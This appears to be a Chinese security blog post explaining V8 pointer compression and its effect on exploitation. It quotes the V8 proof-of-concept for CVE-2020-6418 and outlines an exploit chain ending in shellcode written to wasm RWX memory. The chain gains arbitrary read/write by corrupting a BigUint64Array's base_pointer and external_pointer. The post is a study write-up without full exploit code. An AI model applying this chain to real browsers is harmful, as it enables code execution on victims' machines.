Pointer compression是v8 8.0中为提高64位机器内存利用率而引入的机制。
什么是Pointer compression
对于smi,在之前的64位系统中的表示是`value << 32`,现在变成`value << 1`(留一位做[pointer tagging]),这样smi从64位变为32位。
“详情请参考:https://en.wikipedia.org/wiki/Tagged_pointer”
对于v8中64位的对象指针,它们的高32位基本是不变的,花费4字节来储存它们会浪费内存空间;所以指针压缩将64位对象指针变为32位,也就是64位指针中的低32位,将64位指针的高32位保存在r13中;访问对象时,只需要将对象指针与根寄存器的基址相加即可得到完整地址。
v8关于指针压缩的实现
首先我们能想到的实现方式是从0地址开始分配4G内存,确保v8对象分配在这4G内存范围内;v8显然没有这样做,在chrome渲染进程中可能会有多个v8实例,这个方案会导致所有v8实例都来竞争这4G内存,~~而我们稍微开两个chrome内存就吃满了~~。
“详情请参考:https://v8.dev/blog/pointer-compression”
指针压缩在v8漏洞利用中的影响
首先我们很难泄漏v8堆内存空间的高32位(r13寄存器),也就意味着我们用伪造JSArray并控制elements指针以获取任意r/w原语的时候只能在4G的堆内进行。
想要任意r/w原语我们可以在v8堆上分配ArrayBuffer并覆盖它的backing_store到任意64位内存地址,然后用TypedArray或DataView对象拿到整个64位地址空间内的任意r/w原语。原因是backing_store使用[PartitionAlloc](https://chromium.googlesource.com/chromium/src/+/dcc13470a/third_party/WebKit/Source/wtf/PartitionAlloc.md)分配,所有PartitionAlloc分配的内存都位于v8堆之外的单独内存区域中,所以没有指针压缩。
还有BigUint64Array对象,利用它也可以实现v8堆内、堆外任意r/w;观察一下BigUint64Array对象的内存布局:
sh
DebugPrint: 0x192a080c5ed1: [JSTypedArray]
- map: 0x192a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
- prototype: 0x192a08242db1 <Object map = 0x192a08280699>
- elements: 0x192a080c5eb9 <ByteArray[16]> [BIGUINT64ELEMENTS]
- embedder fields: 2
- buffer: 0x192a080c5e81 <ArrayBuffer map = 0x192a08281189>
- byte_offset: 0
- byte_length: 16
- length: 2
- data_ptr: 0x192a080c5ec0
- base_pointer: 0x80c5eb9
- external_pointer: 0x192a00000007
- properties: 0x192a080406e9 <FixedArray[0]> {}
- elements: 0x192a080c5eb9 <ByteArray[16]> {
0-1: 1311768465173141112
}
- embedder fields = {
0, aligned pointer: 0x0
0, aligned pointer: 0x0
}
可以看到external_pointer跟base_pointer都是没有进行指针压缩的64位指针,并且data_ptr是它俩相加,所以我们可以通过覆盖external_pointer和base_pointer实现64位内存空间任意r/w;还有一点要注意的是初始时external_pointer指针刚好是r13寄存器的高32位,我们可以通过泄露external_pointer来获得v8堆的基址(虽然好像也没有什么用)。
在类型混淆漏洞的利用中,当一个数组从smi/object转为double的时候,占用空间会翻倍,反之会减半。
CVE-2020-6418
这个洞也是2020-SCTF浏览器题EasyMojo的v8部分。
poc
js
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
jit没有考虑到a有side effect会变为double类型数组,仍按smi处理。
利用思路
考虑到指针压缩,我们基本利用思路就有了:
1. 利用类型混淆把double数组变为object数组;
2. 越界读写修改布置在后面的double数组的length字段;
3. 有了任意长度越界的double数组,再找到布置在后面的BigUint64Array,通过越界写覆盖BigUint64Array的base_pointer和external_poiner字段来实现任意r/w原语;
4. 利用任意r/w原语构造addrOf原语和fakeObj原语;
5. 向wasm的rwx内存写入shellcode;
参考链接
1.<https://v8.dev/blog/pointer-compression>
2.<https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html>
3.<https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90>
为了安全请将工具放在虚拟机运行!
作者不易!请点一下关注在走吧!
请严格遵守国家网络安全法相关条例!
此文章仅供学习参考,不得用于违法犯罪,一切后果自付!
转载此文章,请标明出处。
关注此公众号,各种福利领不停,每天一个hacker小技巧
轻轻松松学习hacker技术!